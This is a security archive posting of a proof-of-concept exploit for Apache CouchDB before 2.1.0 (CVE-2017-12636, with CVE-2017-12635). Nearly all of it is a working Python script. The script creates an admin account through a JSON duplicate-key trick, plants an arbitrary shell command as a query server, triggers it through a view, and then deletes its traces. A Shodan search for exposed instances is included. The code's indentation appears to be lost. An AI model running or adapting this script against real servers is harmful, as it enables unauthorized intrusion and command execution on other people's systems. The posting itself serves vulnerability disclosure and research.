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Apache CouchDB Remote Code Execution

Apache CouchDB Remote Code Execution
Posted Jun 21, 2018
Authored by Cody Zacharias

Apache CouchDB versions prior to 2.1.0 remote code execution proof of concept exploit.

tags | exploit, remote, code execution, proof of concept
advisories | CVE-2017-12636
MD5 | 41cb849d4d5d1e2396ab8315d6910c18

Apache CouchDB Remote Code Execution

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# Title: Apache CouchDB < 2.1.0 - Remote Code Execution
# Author: Cody Zacharias
# Shodan Dork: port:5984
# Vendor Homepage: http://couchdb.apache.org/
# Software Link: http://archive.apache.org/dist/couchdb/source/1.6.0/
# Version: <= 1.7.0 and 2.x - 2.1.0
# Tested on: Debian
# CVE : CVE-2017-12636
# References:
# https://justi.cz/security/2017/11/14/couchdb-rce-npm.html
# https://blog.trendmicro.com/trendlabs-security-intelligence/vulnerabilities-apache-couchdb-open-door-monero-miners/

# Proof of Concept: python exploit.py --priv -c "id" http://localhost:5984

#!/usr/bin/env python
from requests.auth import HTTPBasicAuth
import argparse
import requests
import re
import sys

def getVersion():
version = requests.get(args.host).json()["version"]
return version

def error(message):
print(message)
sys.exit(1)

def exploit(version):
with requests.session() as session:
session.headers = {"Content-Type": "application/json"}

# Exploit privilege escalation
if args.priv:
try:
payload = '{"type": "user", "name": "'
payload += args.user
payload += '", "roles": ["_admin"], "roles": [],'
payload += '"password": "' + args.password + '"}'

pr = session.put(args.host + "/_users/org.couchdb.user:" + args.user,
data=payload)

print("[+] User " + args.user + " with password " + args.password + " successfully created.")
except requests.exceptions.HTTPError:
error("[-] Unable to create the user on remote host.")

session.auth = HTTPBasicAuth(args.user, args.password)

# Create payload
try:
if version == 1:
session.put(args.host + "/_config/query_servers/cmd",
data='"' + args.cmd + '"')
print("[+] Created payload at: " + args.host + "/_config/query_servers/cmd")
else:
host = session.get(args.host + "/_membership").json()["all_nodes"][0]
session.put(args.host + "/_node/" + host + "/_config/query_servers/cmd",
data='"' + args.cmd + '"')
print("[+] Created payload at: " + args.host + "/_node/" + host + "/_config/query_servers/cmd")
except requests.exceptions.HTTPError as e:
error("[-] Unable to create command payload: " + e)

try:
session.put(args.host + "/god")
session.put(args.host + "/god/zero", data='{"_id": "HTP"}')
except requests.exceptions.HTTPError:
error("[-] Unable to create database.")

# Execute payload
try:
if version == 1:
session.post(args.host + "/god/_temp_view?limit=10",
data='{"language": "cmd", "map": ""}')
else:
session.post(args.host + "/god/_design/zero",
data='{"_id": "_design/zero", "views": {"god": {"map": ""} }, "language": "cmd"}')
print("[+] Command executed: " + args.cmd)
except requests.exceptions.HTTPError:
error("[-] Unable to execute payload.")

print("[*] Cleaning up.")

# Cleanup database
try:
session.delete(args.host + "/god")
except requests.exceptions.HTTPError:
error("[-] Unable to remove database.")

# Cleanup payload
try:
if version == 1:
session.delete(args.host + "/_config/query_servers/cmd")
else:
host = session.get(args.host + "/_membership").json()["all_nodes"][0]
session.delete(args.host + "/_node" + host + "/_config/query_servers/cmd")
except requests.exceptions.HTTPError:
error("[-] Unable to remove payload.")

def main():
version = getVersion()
print("[*] Detected CouchDB Version " + version)
vv = version.replace(".", "")
v = int(version[0])
if v == 1 and int(vv) <= 170:
exploit(v)
elif v == 2 and int(vv) < 211:
exploit(v)
else:
print("[-] Version " + version + " not vulnerable.")
sys.exit(0)

if __name__ == "__main__":
ap = argparse.ArgumentParser(
description="Apache CouchDB JSON Remote Code Execution Exploit (CVE-2017-12636)")
ap.add_argument("host", help="URL (Example: http://127.0.0.1:5984).")
ap.add_argument("-c", "--cmd", help="Command to run.")
ap.add_argument("--priv", help="Exploit privilege escalation (CVE-2017-12635).",
action="store_true")
ap.add_argument("-u", "--user", help="Admin username (Default: guest).",
default="guest")
ap.add_argument("-p", "--password", help="Admin password (Default: guest).",
default="guest")
args = ap.parse_args()
main()


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